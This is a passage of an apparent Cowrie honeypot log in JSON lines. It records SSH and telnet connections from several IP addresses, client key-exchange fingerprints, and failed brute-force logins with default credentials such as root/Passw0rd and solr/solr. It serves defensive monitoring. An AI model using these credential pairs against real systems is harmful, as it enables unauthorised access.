56-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:40.826252Z","src_ip":"192.109.200.78","session":"c22bd53a5594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":35712,"dst_ip":"159.203.135.109","dst_port":23,"session":"8172734b7811","protocol":"telnet","message":"New connection: 194.247.164.234:35712 (159.203.135.109:23) [session: 8172734b7811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:40.989467Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:41.305568Z","src_ip":"192.109.200.78","session":"c22bd53a5594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54512,"dst_ip":"159.203.135.109","dst_port":22,"session":"b64333b918ca","protocol":"ssh","message":"New connection: 176.65.139.95:54512 (159.203.135.109:22) [session: b64333b918ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:41.839505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:41.844222Z","src_ip":"176.65.139.95","session":"b64333b918ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:41.951739Z","src_ip":"176.65.139.95","session":"b64333b918ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:42.395950Z","src_ip":"192.109.200.78","session":"c22bd53a5594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:42.424689Z","src_ip":"176.65.139.95","session":"b64333b918ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.905014276504517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:42.860519Z","src_ip":"194.247.164.234","session":"37aefd717a86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:43.537080Z","src_ip":"176.65.139.95","session":"b64333b918ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36858,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b0cb2db98d1","protocol":"ssh","message":"New connection: 192.109.200.78:36858 (159.203.135.109:22) [session: 3b0cb2db98d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:45.068564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:45.072933Z","src_ip":"192.109.200.78","session":"3b0cb2db98d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:45.156229Z","src_ip":"192.109.200.78","session":"3b0cb2db98d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:45.414547Z","src_ip":"192.109.200.78","session":"3b0cb2db98d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:46.507639Z","src_ip":"192.109.200.78","session":"3b0cb2db98d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60738,"dst_ip":"159.203.135.109","dst_port":22,"session":"1613f5265c68","protocol":"ssh","message":"New connection: 176.65.139.95:60738 (159.203.135.109:22) [session: 1613f5265c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:48.734914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:48.741438Z","src_ip":"176.65.139.95","session":"1613f5265c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:48.844300Z","src_ip":"176.65.139.95","session":"1613f5265c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42702,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2989eed7a3e","protocol":"ssh","message":"New connection: 192.109.200.78:42702 (159.203.135.109:22) [session: c2989eed7a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:49.210090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:49.214790Z","src_ip":"192.109.200.78","session":"c2989eed7a3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:49.221236Z","src_ip":"176.65.139.95","session":"1613f5265c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:49.300492Z","src_ip":"192.109.200.78","session":"c2989eed7a3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:49.549858Z","src_ip":"192.109.200.78","session":"c2989eed7a3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:50.320361Z","src_ip":"176.65.139.95","session":"1613f5265c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:50.786776Z","src_ip":"192.109.200.78","session":"c2989eed7a3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.759027004241943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:51.780671Z","src_ip":"194.247.164.234","session":"99cf0c43c43e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42730,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbc5ef28d1ad","protocol":"ssh","message":"New connection: 192.109.200.78:42730 (159.203.135.109:22) [session: cbc5ef28d1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:53.540388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:53.565867Z","src_ip":"192.109.200.78","session":"cbc5ef28d1ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:53.636186Z","src_ip":"192.109.200.78","session":"cbc5ef28d1ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:53.961416Z","src_ip":"192.109.200.78","session":"cbc5ef28d1ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:55.046164Z","src_ip":"192.109.200.78","session":"cbc5ef28d1ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60760,"dst_ip":"159.203.135.109","dst_port":22,"session":"abe92c5dacb1","protocol":"ssh","message":"New connection: 176.65.139.95:60760 (159.203.135.109:22) [session: abe92c5dacb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:55.785159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:55.797228Z","src_ip":"176.65.139.95","session":"abe92c5dacb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:56.017161Z","src_ip":"176.65.139.95","session":"abe92c5dacb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:56.531582Z","src_ip":"176.65.139.95","session":"abe92c5dacb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42746,"dst_ip":"159.203.135.109","dst_port":22,"session":"c74120495db9","protocol":"ssh","message":"New connection: 192.109.200.78:42746 (159.203.135.109:22) [session: c74120495db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:57.566347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:57.571102Z","src_ip":"192.109.200.78","session":"c74120495db9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:57.645290Z","src_ip":"176.65.139.95","session":"abe92c5dacb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:57.655001Z","src_ip":"192.109.200.78","session":"c74120495db9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:57.907586Z","src_ip":"192.109.200.78","session":"c74120495db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":41436,"dst_ip":"159.203.135.109","dst_port":23,"session":"551f09f46623","protocol":"telnet","message":"New connection: 194.247.164.234:41436 (159.203.135.109:23) [session: 551f09f46623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:57.979055Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":41444,"dst_ip":"159.203.135.109","dst_port":23,"session":"2adf98d43d9f","protocol":"telnet","message":"New connection: 194.247.164.234:41444 (159.203.135.109:23) [session: 2adf98d43d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:57.998068Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:59.001199Z","src_ip":"192.109.200.78","session":"c74120495db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":41928,"dst_ip":"159.203.135.109","dst_port":23,"session":"9299e8acc53e","protocol":"telnet","message":"New connection: 194.247.164.234:41928 (159.203.135.109:23) [session: 9299e8acc53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:59.098421Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":56614,"dst_ip":"159.203.135.109","dst_port":22,"session":"38955ce17a76","protocol":"ssh","message":"New connection: 80.94.92.186:56614 (159.203.135.109:22) [session: 38955ce17a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:59.372177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:59.376539Z","src_ip":"80.94.92.186","session":"38955ce17a76","protocol":"ssh"}
